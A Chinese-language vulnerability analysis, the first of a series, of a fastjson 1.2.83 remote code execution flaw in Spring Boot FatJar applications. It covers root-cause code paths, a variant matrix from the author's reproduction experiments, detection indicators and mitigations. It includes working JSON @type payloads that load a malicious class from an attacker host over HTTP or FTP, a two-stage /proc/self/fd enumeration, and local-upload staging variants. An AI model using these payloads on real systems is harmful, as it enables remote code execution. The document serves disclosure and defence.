Fastjson 1.2.83 RCE(上):漏洞实例与利用完整分析

2026 年 7 月 19 日,Kirill Firsov 公开了 fastjson 1.2.83 的一个远程代码执行漏洞。这个版本在 fastjson 1.x 的历史地位特殊:它是 1.x 的最后一个版本,也是"autoType 战争"打了五年之后的终态防御形态——默认关 autoType、黑白名单 hash、expectClass 限制层层设防,社区共识是"1.2.83 基本不可利用,可以养老"。这个共识在一周内被打破,而且打破它的不是某个新的 gadget,而是一种完全不同的东西:漏洞不住在 fastjson 自己的代码里,也不住在 Spring Boot 或 JDK 的代码里,而住在三者接缝处的语义分歧里。

本文是三篇系列的上篇,目标是把这个漏洞的实例与利用讲完整:根因代码路径逐段核对(§2)、关键机制全部落到一手源码(§3)、变体矩阵给出全部已知存活与死亡格子(§4-§5)、检测防御逐项判定效力(§6),并以自主复现实验(§8)对预注册假设逐项裁决——5 个实验完成 4 个确定性判定(3 证实 1 证伪)、1 个维持未决。中篇将从本案例抽象出"语义缝隙"与"行为层 gadget"的分析框架;下篇讨论 AI 辅助漏洞挖掘在这个案例中的元问题。


1. 漏洞速览

编号 QVD-2026-43021(奇安信)/ CVE-2026-16723
CVSS 9.8 Critical
影响版本 fastjson 1.2.68 ~ 1.2.83(原作者口径);部分通告称 1.2.66 起
类型 无需 gadget 的远程代码执行(Gadget-Free RCE)
披露者 Kirill Firsov (@k_firsov),2026-07-19
修复 SafeMode(P0)/ 1.2.83_noneautotype(P0)/ 迁移 fastjson2(P1)

一句话概括:fastjson 在处理 @type 时存在一条"先探测再加载"的信任分支——把用户可控的类名当作资源路径交给 ClassLoader 取回字节、用 ASM 检测其是否带 @JSONType 注解,带则无条件 loadClass。在能把这个"资源路径"解析成远程 URL 的 ClassLoader 环境中(典型:Spring Boot FatJar 的 LaunchedURLClassLoader),攻击者托管一个带 @JSONType 注解的恶意 class,即可在类型绑定之前完成远程类加载并执行其静态初始化块 <clinit>

为什么重要

  1. fastjson 1.x 是互联网部署最广的 Java JSON 库之一;1.2.83 是 1.x 最后版本,此前公认"只能基于 expectClass 和第三方库 gadget 做极有限利用,几乎无法 RCE",大量厂商因此选择不升级
  2. 本漏洞与 autoType 是否开启无关、不需要 expectClass、不需要 classpath 里存在 gadget——三个主流缓解假设同时失效
  3. 影响 JDK 8 / 17 / 21 / 25 均有复现(本文 JDK 8 + JDK 17 自主复现,21/25 依据 GCSA 报告)
  4. 它的根不住在任何一个组件的代码里,而住在组件之间的语义缝隙里:fastjson 假设 getResourceAsStream 只在本地 classpath 找资源,Spring Boot 的 ClassLoader 实际会把资源名当 URL 解析——实验证实 HTTP、FTP、本地文件三种传输通道均可完成全链。

术语注:"语义缝隙"是本文自造词,指两个语义层之间可被利用的分歧(spec vs 实现、组件 A 的假设 vs 组件 B 的行为、意图用途 vs 可达用途)。相邻领域各有局部对应词——web 的 desync / parser differential、二进制的 gadget(本文的 trick 可视为行为层的 gadget)、VM 自省的 semantic gap、形式化的 refinement failure、Bratus 的 weird machine——但无一覆盖统一含义。完整术语论证见中篇。

常见不成立判断

  • "AutoType 默认关闭,所以安全" —— 不成立
  • "parseObject 固定了第二个参数,所以安全" —— 不成立(探测发生在类型绑定之前)
  • "classpath 没有已知 gadget,所以安全" —— 不成立
  • "JDK 17+ 会拒绝 http:// 内部类名,所以最多只是 SSRF" —— 不成立(见 §3.5 两阶段利用)

2. 根因:代码路径

代码出处(引用均标注 tag/commit 与行号):

  • fastjson:tag 1.2.83(commit 26f13f84f
  • Spring Boot:tag v2.7.18
  • OpenJDK 8:tag jdk8u502-ga
  • OpenJDK master:commit 1bc03f02(作为"现代 JDK"代表;JDK 9 引入收紧的边界依据公开分析,未逐版本核对)
  • Tomcat:分支 9.0.x(仅 catalina/loader

2.0 入口:@type 如何到达 checkAutoType

典型链路(JSON.parseObject(body) 触发):

1
2
3
4
5
6
7
JSON.parseObject(String)
└─ DefaultJSONParser.parseObject(Map, Object)
└─ 键 == "@type"(JSON.DEFAULT_TYPE_KEY)
且未开 Feature.DisableSpecialKeyDetect ← DefaultJSONParser.java:311-313
└─ 值经 Feature.IgnoreAutoType 检查 ← L315-317(默认关,开了则跳过整个分支)
└─ 短路:等于目标类名 / HashMap / LinkedHashMap / 全数字 → 不进 checkAutoType ← L325-342
└─ config.checkAutoType(typeName, null, lexer.getFeatures()) ← L343

checkAutoType 内前置关卡(ParserConfig.java:1325-1477):

  1. SafeMode 检查(L1325-1331)——见 §2.6;
  2. 长度检查:< 3≥ 192 直接抛(L1338-1340);
  3. expectClass 白名单 hash 判定(L1342-1363);
  4. 两枚魔数 hash 拦截 [ 开头与特定后缀形式(L1368-1374);
  5. 内置白名单 INTERNAL_WHITELIST_HASHCODES 命中 → 直接 loadClass 返回(L1384、L1432-1434);
  6. deny hash 逐前缀扫描(L1386-1395,及 L1397-1416 的 autoTypeSupport/expectClassFlag 路径);
  7. getClassFromMapping / deserializers.findClass / typeMapping 已有映射 → 直接返回(L1418-1443,Throwable 子类在 autoType 关闭时被置 null,L1424-1426)。

只有穿过全部七道前置关卡、仍未解析到类的 typeName,才进入资源探测段——也就是说,攻击载荷的类名必须不在 fastjson 的映射表与黑白名单 hash 中(jar:http:... 这类构造天然满足)。

其余入口(影响面注记):JSONArray 元素内的 @type(DefaultJSONParser.java:1767)、MapDeserializer(MapDeserializer.java:191)、JavaBeanDeserializer(JavaBeanDeserializer.java:308、823,带 expectClass)、ThrowableDeserializer(ThrowableDeserializer.java:77,expectClass 固定为 Throwable.class)——多个入口共用同一个 checkAutoType,漏洞面不依赖具体业务 DTO。

2.1 用户类型名被当作资源路径(ParserConfig.java:1479-1498)

1
2
3
4
5
6
7
// L1482-1487
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource); // ← 关键调用
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

typeName 来自请求 JSON 的 @type 值,完全用户可控。replace('.', '/') 的本意是包名转路径(com.example.Foocom/example/Foo.class),但代码没有限制 resource 的协议、绝对路径语义或来源——它假设结果永远是个 classpath 相对路径,而这个假设在某些 ClassLoader 下不成立。

注意 else 分支(L1486):未显式设置 defaultClassLoader 时,探测用的是加载 fastjson 自身的 ClassLoader——FatJar 中 fastjson 从 BOOT-INF/lib 加载,即 LaunchedURLClassLoader(代码实证 + 部署环境推断)。这是多数应用实际生效的路径,不需要任何显式配置。

2.2 远程 class 的 @JSONType 被当作授权依据

1
2
3
4
5
// L1489-1492
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

fastjson 用自己的 ASM ClassReader 解析取回的字节,检测类是否带 @JSONType 注解。取回的内容来自哪里不重要——只要字节里写着这个注解,信任就成立。 攻击者只需让远程 class 带上该注解。

2.3 jsonType 触发实际类加载

1
2
3
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true 时进入 loadClass。注意:这与 autoTypeSupport(autoType 开关)是关系——autoType 关闭不影响此分支。

TypeUtils.loadClass(TypeUtils.java:1735-1791)的内部顺序对矩阵格子判定很关键:

1
2
3
4
5
6
mappings 缓存命中 → 直接返回
'[' 数组形式 / 'L...;' 描述符形式 → 脱壳递归
① classLoader.loadClass(即传入的 defaultClassLoader)
② 失败 → TCCL.loadClass(当前线程上下文 ClassLoader)
③ 再失败 → Class.forName(用 TypeUtils 自身所在 ClassLoader)
每步 catch (Throwable) → 静默降级到下一步

两点推论:

  1. 每个 ClassLoader 的失败都不致命——①被容器 CL 拒绝后会自动滑向②③。③的 Class.forName(className) 无显式 CL 参数,实际使用 TypeUtils 类的定义 CL,FatJar 下即 LaunchedURLClassLoader——与①通常同源,但与②(TCCL)可能不同源。这是 §5 R3/R3b 存疑论证的基础。
  2. 载荷类名带 : ! 等字符不影响 ①②③ 的尝试——这些 CL 层不做类名字符合法性校验,合法性只在 defineClass 的 native 层被判定(§3.4)。

2.4 jsonType 早返回,跳过全部后续安全检查

1
2
3
4
5
6
7
8
9
10
11
// L1505-1511
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
return clazz; // ← 直接返回
}
// 以下检查全部被跳过:
// L1513-1518 危险基类检查(ClassLoader / DataSource / RowSet)
// L1520-1529 expectClass 相容性检查
// L1531-1534 creatorConstructor 检查
}

远程类一旦被加载且带 @JSONType三道后续检查全部不执行:危险基类检查(ClassLoader/DataSource/RowSet,L1513-1518)、expectClass 相容性检查(L1520-1529)、creatorConstructor 检查(L1531-1534)。

2.5 Exception/Error 后缀形成失败软通道

1
2
3
4
5
6
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; // 软失败,解析继续
}
throw new JSONException("autoType is not support. " + typeName);
}

1.2.83 中这个软通道实际有两处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// L1447-1462(deny hash 扫描循环内,!autoTypeSupport 路径)
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}

// L1537-1543(探测与 loadClass 全部结束之后)
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; // 软失败,解析继续
}
throw new JSONException("autoType is not support. " + typeName);
}

两处语义相同、触发路径不同:L1455 在 typeName 逐前缀 hash 命中 deny 列表时生效;L1538 在穿过探测、加载后仍未拿到可用类时生效。两阶段利用的载荷(jar:http:...Exception 等)不在 deny 列表,实际命中的是 L1538(代码路径推断:未被 deny 拦截是公开复现成立的前提)。

JDK 9+ 上第一阶段加载会因非法内部类名失败。让类型名以 Exception 结尾后,fastjson 不抛异常、不终止 JSON 解析,数组中后续的枚举元素得以继续处理——这是现代 JDK 两阶段利用(§3.5)的结构性前提,同时也天然构成一个行为差异探针(指纹识别价值)。

2.6 SafeMode 的位置

SafeMode 检查(ParserConfig.java:1325-1330)发生在资源访问之前,因此能阻断整条链(网络请求都不会发出)。这解释了为什么 SafeMode 是 P0 级修复而其他缓解都是部分的。


3. 关键机制

3.1 资源名走私与整数 IP

replace('.', '/') 是把双刃剑:它既能把包名变路径,也能把精心构造的字符串变成 URL——

1
2
3
4
输入   jar:http:..ATTACKER:18081.exploit!.Payload
├─ http:.. → http://
├─ ATTACKER:18081.exploit → ATTACKER:18081/exploit
└─ !. → !/

唯一的问题是 IP 里的点会被一并转义。解法:Java 的 URL 解析接受整数形式 IP——

1
2130706433 = 0x7F000001 = 127.0.0.1

(URL spec 允许十进制整数 IP,与开发者"IP=点分四段"的假设之间的缝隙。)

3.2 远程加载为什么可能:资源名如何变成 HTTP 请求

普通 ClassLoader 对 getResourceAsStream("jar:http://...") 返回 null。Spring Boot FatJar 环境中,资源名一路穿过五层代码变成远程请求,每层都有明确出处:

① URLClassPath 的 Loader 分派(jdk8u URLClassPath.java:563-581;现代 JDK jdk/internal/loader/URLClassPath.java:456+

FatJar 的 classpath URL 形如 jar:file:/app.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/——file 部分以 / 结尾且协议不是 file,于是走的是基础 Loader(而非 JarLoader

1
2
3
4
5
6
if (file != null && file.endsWith("/")) {
if ("file".equals(url.getProtocol())) return new FileLoader(url);
else return new Loader(url); // ← FatJar 条目落在这里
} else {
return new JarLoader(url, jarHandler, lmap, acc);
}

② 基础 Loader.getResource 直接拼 URL 并打开(jdk8u URLClassPath.java:735-760

1
2
3
4
url = new URL(base, ParseUtil.encodePath(name, false));   // base=jar:file:/app.jar!/...
...
uc = url.openConnection(); // ← 网络动作发生点
InputStream in = uc.getInputStream();

注意对比:JarLoader.getResource(jdk8u L1056+)是 jar.getJarEntry(name) 本地查表,不会出网——**"走基础 Loader 还是 JarLoader"由 classpath 条目的 URL 形态决定**,这正是 WAR/外置容器(条目为 file: 目录或普通 jar)与 FatJar 行为分歧的 JVM 层根源(对应矩阵 R5)。

new URL(context, spec) 的协议判定(jdk8u java/net/URL.java:556-580

  • spec 协议与 context 不同(如 http:/... vs context 的 jar:)→ spec 按绝对 URL 处理,context 整体丢弃——http: 前缀载荷(R1)即此路径,连 Spring 的 handler 都不需要;
  • spec 协议与 context 相同jar:...)→ 继承 context 的 handler,交给 handler 的 parseURL 做相对解析。

④ Spring 的 jar Handler:spec 整体替换 context.file(spring-boot v2.7.18 loader/jar/Handler.java:223-245

Launcher.launch() 启动时调用 JarFile.registerUrlProtocolHandler()Launcher.java:53JarFile.java:432-438),把 org.springframework.boot.loader 塞进 java.protocol.handler.pkgs——此后 JVM 内所有 jar: URL 由 Spring 的 Handler 解析:

1
2
3
4
// Handler.parseURL
if (spec.regionMatches(true, 0, JAR_PROTOCOL, 0, JAR_PROTOCOL.length())) {
setFile(context, getFileFromSpec(spec.substring(start, limit))); // ← base 被完全替换
}

getFileFromSpec 只校验 !/ 前缀部分是合法 URL,于是 jar:http:/ATTACKER/x!/Payload.class 原样成为新 URL——FatJar 的本地根被攻击者 spec 完全顶掉

⑤ openConnection 的 fallback 链落到 JDK 原生 jar handlerHandler.java:87-97、188-193FALLBACK_HANDLERS 定义于 L64)

Spring Handler 先尝试把 URL 解析进本地 root jar(getRootJarFileFromUrl),远程地址必然失败,沿 openFallbackTomcatConnection → openFallbackContextConnection → openFallbackHandlerConnection 降级,最终用 sun.net.www.protocol.jar.Handler 重新打开——进入 JDK 标准 JarURLConnectionURLJarFile.retrieve(jdk8u sun/net/www/protocol/jar/URLJarFile.java:189-197):**把远程 JAR 下载为临时文件 jar_cache***。这个落盘行为正是 §3.5 两阶段利用的 staging 来源。

结论(本漏洞的存在条件):fastjson 所在 ClassLoader 的 URLClassPath 含有"以 / 结尾、非 file: 协议"的条目(FatJar 的嵌套 jar URL 恰好如此),且 jar: 协议 handler 已被替换为宽容的实现(Spring Boot Loader)。 两个条件分别对应上述①④——缺①走 JarLoader 本地查表,缺④走 JDK 原生 jar handler 的严格解析。

3.3 ASM 非法类名:语言语法与 VM 规范的缝隙

要加载的类名形如 jar:http://2130706433:18081/exploit!/Payload,含 : / !——javac 永远无法编译出这样的类,但 JVMS §4.2 对 classfile 中非限定名的禁止集只是 . ; [ /(JDK 8 实际执行更松,见下),:! 均合法,所以 PoC 必须用 ASM 直接写字节码(asm 9.6),类中放 @JSONType 注解 + <clinit> 静态初始化块。<clinit> 在 defineClass 后即执行,parseObject(body, Dto.class) 的类型绑定之前,后续限制全部无效。

3.4 JDK 版本差异:native 校验的两轮

defineClass(name, bytes) 的校验分两层:

  • Java 层 preDefineClass:只查传入的 name 字符串是否含 /——载荷均为点号形式(http:..2130706433:18081.a),通过;
  • native 层 defineClass1 → ClassFileParser::parse_stream → verify_legal_class_name:解析常量池后对类名条目执行 verify_unqualified_name,两版行为分叉就在这里:

JDK 8(jdk8u502-ga hotspot/.../classFileParser.cpp:5201-5224)——对 LegalClass 只禁三个字符,/ 被明确豁免:

1
2
3
4
5
6
if (ch == '.' || ch == ';' || ch == '[' ) {
return false; // do not permit '.', ';', or '['
}
if (type != LegalClass && ch == '/') {
return false; // do not permit '/' unless it's class name
}

→ 内部名 http://2130706433:18081/a 的连续斜杠通过

现代 JDK(jdk master 1bc03f02 classFileParser.cpp:4545-4577)——LegalClass/ 仍允许,但禁止空路径段(连续 //、首/尾 /):

1
2
3
4
5
6
7
8
case JVM_SIGNATURE_SLASH:
// check for '//' or leading or trailing '/' which are not legal
if (type == ClassFileParser::LegalClass) {
if (p == name || p+1 >= name+length ||
*(p+1) == JVM_SIGNATURE_SLASH) {
return false;
}
}

http:// 必含 //被拒。(收紧自 JDK 9 起生效,边界依据公开分析,未逐版本核对。)

这就是"JDK 8 直接 RCE、JDK 9+ 第一阶段只能 SSRF"的根因。同时它解释了两阶段载荷的形态约束:阶段二的 jar:file:.proc.self.fd.7!.fd7.Exception 解出的内部名是 fd7/Exception——全单斜杠、无空段、无首/尾斜杠,是为过这道校验而设计的。

3.5 现代 JDK 两阶段:jar_cache + /proc/self/fd

1
2
3
4
5
6
7
8
9
10
11
12
阶段一(下载):
{"@type":"jar:http:..ATTACKER:18081.x!.foo.Exception"}
→ getResourceAsStream 探测阶段即触发 HTTP 下载
→ JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve
把远程 JAR 落盘为临时文件 jar_cache*,拿到 fd N
→ defineClass 因 // 失败,但 Exception 后缀软返回(§2.5),解析继续

阶段二(本地重开):
{"@type":"jar:file:.proc.self.fd.N!.fdN.Exception"}
→ jar:file:/proc/self/fd/N!/fdN/Exception.class
→ 本地文件、全单斜杠、无空段 → 过 verify_unqualified_name
→ defineClass 成功,<clinit> 执行

fd 号 N 靠数组枚举元素逐个试。一个 payload 同时兼容 JDK 8 与现代 JDK:JDK 8 在第一阶段直接成功;JDK 9+ 走软通道进入 fd 枚举阶段。

副产物/proc/self/fd 依赖使该链在 Windows 高版本 JDK 上断裂(Windows 无此文件系统接口)——这是矩阵中格子 R4a 的由来。


4. 变体矩阵(核心)

:JDK 版本 × OS × 部署形态/ClassLoader × 出网方向 × staging 原语 × WAF(正交轴)。

读法:每个格子 = 一组环境约束下,六个链环节(注入面→资源名走私→transport→staging→字节码→define/执行→效果通道)是否各有存活填充物。格子判"死"一律理解为"死于当前 trick 库存(2026-07-26)"。

# JDK OS 部署/CL 出网 staging 结果 状态
R1 8 任意 FatJar(J/U) HTTP jar:http: 直载 RCE(最短链) Linux/Windows 均复现
R2 9+ Linux FatJar(J/U) HTTP jar_cache 落盘 + fd 两阶段 RCE Temurin 17 复现
R3 9+ Linux FatJar(Tomcat) HTTP http:// 直载死于 checkAutoType(E4 实测,与 Jetty 差异在于 TCCL 为 TomcatEmbeddedWebappClassLoader);jar:http:// + Exception 后缀 + fd 两阶段在机制上可行(PCL=LaunchedURLClassLoader 可完成 getResourceAsStream;jar:file:// 暂存在 Tomcat JDK17 下已被 E1 对照证实可通),E4 实验台因数组过大超时未完成全链实测 未确认(transport 活,execution 链未跑完) 见 §8.1 E4 分析
R3b 8 Linux FatJar(Tomcat) HTTP 同上:http:// 直载死于 checkAutoType(E4.1 实测,与对照 A(Jetty)差异在于 TCCL 类型);jar:file:// 暂存在 Tomcat JDK17 下已证实可通(E1 对照),JDK8 下预期同行为 未确认(transport 活,execution 链未跑完) 见 §8.1 E4 分析
R4a 9+ Windows 任意 任意 /proc 不存在 + // 被杀 + jar_cache* 名随机、无 fd 可枚举 + 无暂存 → 当前库存无可用填充物 死于当前库存(2026-07-26) 机制推断(当前无已知路径)
R4b 9+ Windows FatJar 任意 可预测路径上传 jar:file:/C:/...(全单斜杠,过 verifier) RCE 实证(Windows JDK17 + Jetty FatJar,E1;Tomcat 对照亦出 marker)
R5 任意 任意 WAR 外置容器 任意 WebappClassLoaderBase.getResourceAsStream 走 WebResourceRoot 本地路径,hasExternalRepositories=false,不出网;Spring Boot Launcher 在 WAR 模式不注册 jar: handler (机制死,非库存死) 代码证据(WebappClassLoaderBase:1152-1235 + Launcher.launch())
R6 任意 Linux FatJar 可预测路径上传 polyglot JAR + jar:file: 本地路径 RCE 实证(Linux JDK17 + Jetty FatJar + 网络隔离,E2)
R7 8 Windows FatJar 仅 SMB jar:file:..HOST.share.x!.p.Exception → 期望走 UNC \\HOST\share (transport 未建立:JDK file: handler 不穿透到 SMB 协议栈) 证伪(E3)
R8 8 任意 FatJar 仅 FTP jar:ftp: 经 JDK 原生 ftp handler RCE 实证(Linux JDK8 + Jetty FatJar,E5)
R9 任意 任意 任意 (无出网、无暂存 → 无攻击面) 自明(无可用链)
R10 WAF 正交轴:任意存活格 + WAF → @type unicode 编码、JSON 语法变体在 transport 槽位替换 格子存活 实证(编码绕过 IOC 已公开)

矩阵直接给出的四个结论(实验后更新):

  1. 部署形态是第一分轴:WAR/外置容器全列死,FatJar 全列活——该漏洞是"FatJar 部署生态的漏洞"(R5 代码证据 + 其余格子实验确认)
  2. 升 JDK 不构成缓解:JDK 9+ 只是换了条链;R4b(Windows staging,E1)和 R6(Linux staging,E2)均已实证
  3. 真正有效的通用缓解只有三个:SafeMode / noneautotype / 出网管控+无上传面(注意 R6/R4b 的存在使出网管控单独不充分,必须同时无 staging 面,E1/E2/E5 联合证实)
  4. FTP 是被低估的传输通道:R8 证实 jar:ftp: 全链可达 RCE(E5),绕过仅监控 HTTP 出网的防御

5. 主要存活格子利用详述

R1(JDK 8 最短链,已实证)

最短 payload:

1
{"@type":"http:..2130706433:18081.a"}

攻击端:ASM 生成类(内部名 http://2130706433:18081/a,带 @JSONType<clinit> 放命令执行),HTTP 服务托管 .class。依赖:fastjson 1.2.83 + spring-boot-loader 2.7.18 + asm 9.6。

R2(现代 JDK 两阶段,已实证)

1
2
3
4
5
6
7
[
{"@type":"jar:http:..ATTACKER:18081.x!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},
...
{"@type":"jar:file:.proc.self.fd.55!.fd55.Exception"}
]

恶意类打包进 JAR 托管;阶段一触发下载落盘(jar_cache*),阶段二枚举 fd。实验中实际命中 fd 34(JDK 17 + Jetty FatJar 环境),枚举范围需覆盖 3~55 以确保命中。同一解析请求期间攻击端观察到 HEAD + GET × 2(共 3 次请求)。

R3/R3b(内嵌 Tomcat):autoType 拒杀与 CL 拓扑依赖

公开分析(LoRexxar)称:Tomcat FatJar 中 TCCL 是 TomcatEmbeddedWebappClassLoader,其"重写了 loadClass,做了额外的限制不允许连续 / 输入,所以禁止了 http 链路,但同样可以走 ssrf+遍历 fd 的方式利用"。对一手源码通读后,这个阻断点没有在 Tomcat CL 源码中定位到——阻断实际发生在 fastjson 的 checkAutoType 层。

E4 实验结果(2026-07-26,Linux Docker Temurin):

子组 JDK payload fastjson 响应 攻击端观察 结论
E4.1 8 A(http:.. 直载) autoType is not support. http:..2887647242:18081.a HEAD + GET /a.class autoType 拒杀(type 不以 Exception 结尾 → 抛 JSONException)
E4.2 17 A(http:.. 直载) autoType is not support HEAD + GET /a.class 同上
E4.3 8 B(jar:http: 两阶段 fd 枚举) 超时未完成 大量 GET /x(JAR 下载触发) 数组过大(39 元素)× Tomcat CL 逐元素委派 = 60s+ 总耗时

关键发现

  1. http:// 型名称在 Tomcat CL 拓扑下必死于 checkAutoTypeTypeUtils.loadClass 的三个步骤均无法在 Tomcat CL 拓扑下成功 defineClass(TCCL 为 TomcatEmbeddedWebappClassLoader,其 Class.forName 委派路径与对照 A(Jetty)的 TCCL=LaunchedURLClassLoader 直接路径不同)。由于 http:..2887647242:18081.a 不以 Exception 结尾,checkAutoType 抛出 JSONException 而非软返回 null。

  2. transport 与 execution 解耦:资源探测的 getResourceAsStream 使用的是 ParserConfig CL(即 LaunchedURLClassLoader),不经过 Tomcat 的 webapp CL,因此 HTTP 下载成功(攻击端观察到 HEAD+GET)。但 TypeUtils.loadClass 走的是 TCCL 委派链,这是两个不同的 CL 调用路径——"探测成功"不保证"加载成功"。

  3. LoRexxar "Tomcat CL 阻断"论断不成立:源码未定位到 Tomcat CL 对 // 或特殊字符的显式拒绝逻辑。实测阻断在 fastjson 的 checkAutoType 层(响应直接返回 autoType is not support),而非 Tomcat CL 层。

E1 Tomcat 对照的重要发现(Windows Kona JDK 17 + Tomcat FatJar + jar:file:// 本地暂存):

使用 {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"} 载荷(以 Exception 结尾 + 本地文件存在),E1 Tomcat 对照意外产出 marker(RCE 成功)。这证明:

  • jar:file:// 本地暂存链在 Tomcat CL 拓扑下可通(与 http:// 不同,因为 getResourceAsStream 能找到本地文件,loadClass 的 Class.forName 步骤通过 LaunchedURLClassLoader 成功 defineClass)
  • E4 的"Tomcat CL 拓扑在任何 OS 下均死于 autoType"的一般化结论被修正:死亡仅针对 http:// 直载且非 Exception 结尾的型名称

裁决

  • http:// 直载在 Tomcat CL 拓扑下确认死(E4.1/E4.2,死于 checkAutoType)。
  • jar:http:// + Exception 后缀 + fd 两阶段在机制上可行但未实测完成:PCL=LaunchedURLClassLoader 可完成 getResourceAsStream(jar_cache 落盘 + fd 分配);E1 对照已确认 jar:file:// 暂存在 Tomcat 下可通(因此 fd 枚举阶段无机制障碍)。E4.3 因 39 元素数组在 Tomcat 逐元素委派下累积超时(>60s)而未完成,缩小数组规模后理应可跑通。
  • R3/R3b 当前状态:transport (HTTP) 已确认,RCE 链在机制层面成立,但全链实验未完成

R6/R4b(无出网 staging,已实证)

E2 实验(Linux JDK 17 + Jetty FatJar + 完全网络隔离):

1
2
payload: {"@type":"jar:file:.tmp.uploads.stage!.p.Exception"}
→ 解析为 jar:file:/tmp/uploads/stage!/p/Exception.class

步骤:先通过应用上传接口将 polyglot JAR 放置到 /tmp/uploads/stage,再发送 payload。网络隔离验证通过(容器 iptables 阻断所有出站),marker.log 写出内部名 jar:file:/tmp/uploads/stage!/p/Exception,CL 为 LaunchedURLClassLoader全程零出站连接,RCE 成功。

E1 实验(Windows JDK 17 + Jetty FatJar + 本地上传目录):

1
2
payload: {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"}
→ 解析为 jar:file:/C:/temp/up/pg!/p/Exception.class

marker.log 确认内部名 jar:file:/C:/temp/up/pg!/p/Exception。注意 Windows 路径中 C: 的冒号不被 replace('.','/') 影响(冒号本身不是点),而路径分隔符恰好可以用单正斜杠表达——过 JDK 9+ verifier

操作约束(实验确认):

  • 上传文件名不能含点(点会变斜杠)——实验用无扩展名文件名 stage / pg
  • jar:file: 后的路径必须全单斜杠、无空段、无首/尾斜杠——E1/E2 的路径均满足
  • zip/JAR 格式容忍前缀垃圾(中央目录从尾部定位)——polyglot 可嵌入图片等无害外观

R7(Windows UNC,已证伪)

E3 实验(Windows JDK 8 + Jetty FatJar;攻击端 impacket smbserver):

1
2
payload: {"@type":"jar:file:..2887043830.share.x!.p.Exception"}
→ 期望解析为 jar:file://172.20.10.6/share/x!/p/Exception.class → UNC \\172.20.10.6\share

结果:NO MARKER,SMB 服务器零连接记录。verbose_class.log 中无异常类加载尝试。

证伪分析jar:file: 经 Spring Boot 的 jar Handler 解析时,file://host/share 形式getRootJarFileFromUrl 拦截——Spring Handler 首先尝试将 URL 解析为本地 root jar 条目,file://host 非本地文件,解析失败;随后 fallback 到 JDK 原生 jar handler,但 JDK 的 sun.net.www.protocol.jar.Handlerfile: URL 的 authority 部分(//host不会触发 SMB 协议协商——这与 Windows Explorer 或 new File("\\\\host\\share") 的行为不同,JDK 的 FileURLConnection 直接返回 FileNotFoundException

原始假设错在混淆了 Windows shell 层的 UNC 解析与 JDK java.net.URL 层的 file: 处理——后者不穿透到 SMB 协议栈。R7 判定为死格子(非库存死,是机制死)。

R8(FTP 传输通道,已实证)

E5 实验(Linux JDK 8 + Jetty FatJar;攻击端 pyftpdlib 在 2121 端口):

1
2
payload: {"@type":"jar:ftp:..2887647242:2121.x!.p.Exception"}
→ 解析为 jar:ftp://2887647242:2121/x!/p/Exception.class

marker.log 确认内部名 jar:ftp://2887647242:2121/x!/p/Exception,CL 为 LaunchedURLClassLoaderRCE 成功。

机制:JDK 内置 sun.net.www.protocol.ftp.Handler 处理 ftp: URL,经 JarURLConnectionURLJarFile.retrieve 与 HTTP 走同一下载-落盘路径——传输协议对后续链路透明。这意味着:

  • 仅拦截 HTTP 出站(80/443/8080 等)的防火墙规则对 FTP 通道无效
  • JDK 8 上 FTP 直载同样绕过 verifier(内部名含 // 但 JDK 8 放行)
  • 对于 JDK 9+,FTP 通道仍可作为两阶段的 transport(与 HTTP 等价),fd 枚举阶段不变

防御含义:出网白名单必须覆盖全协议(TCP 层全端口阻断),或使用 SafeMode/noneautotype 根断。


6. 检测与防御

6.1 防御效力(从矩阵读出,实验后更新)

措施 效力 状态
SafeMode-Dfastjson.parser.safeMode=true / setSafeMode(true) 根断:检查在资源访问之前 实证
1.2.83_noneautotype 根断 实证
迁移 fastjson2 根断(代码路径不存在) 实证
出网管控(HTTP + FTP 无上传/staging 面 有效(使全部存活格子失 transport 或 staging) 实证(E5 证明 FTP 可 RCE,仅拦 HTTP 不够)
仅 HTTP 出网管控 不充分:FTP 通道(R8)绕过 实证
出网管控但有上传功能 不充分:R6/R4b 本地 staging 实证
WAF 单独 无效\u0040type 等编码绕过 实证
升 JDK 9+ 无效:本地 staging(R4b/R6)绕过 fd 依赖 实证
"升级 Spring Boot 3.2+" 效力存疑:GCSA 在 Spring Boot Loader 3.2.0 上仍复现 RCE 成功(JDK 17/21/25),与该建议矛盾(实证冲突,留待后续专题核实)

6.2 检测 IOC(实验补充)

请求侧@type 值含 http:..jar:http:..jar:ftp:..jar:file:.proc.self.fd.jar:file:.C:(Windows staging)、jar:file:.tmp.(Linux staging)、!.(jar entry 分隔符)、Exception 后缀;注意 "\u0040type" 编码变体

网络侧:JVM 向异常主机发起 HTTP(HEAD+GET × 2 三连)或 FTP 连接请求无扩展名文件/.class;同一解析期间 1-3 次重复请求

主机侧:JVM 临时目录出现 jar_cache*;类加载日志出现 jar:file:/proc/self/fd/N!/jar:ftp:// 或非 classpath 内的 jar:file: 路径


7. 时间线与资料来源

日期 事件
2026-07-19 Kirill Firsov Twitter 首披露
2026-07-20 奇安信 CERT 通告 QVD-2026-43021;腾讯云早期通告
2026-07-21 官方 Security Advisory;奇安信确认复现;GCSA 深度分析
2026-07-22 原作者公开研究文档(fearsoff.org);首个公开 PoC 仓库出现(推送者为 Codex,后被删除)
2026-07-23 CVE-2026-16723 正式通告
2026-07-24~25 利用工具、企业排查脚本、WAF/RASP 方案集中出现

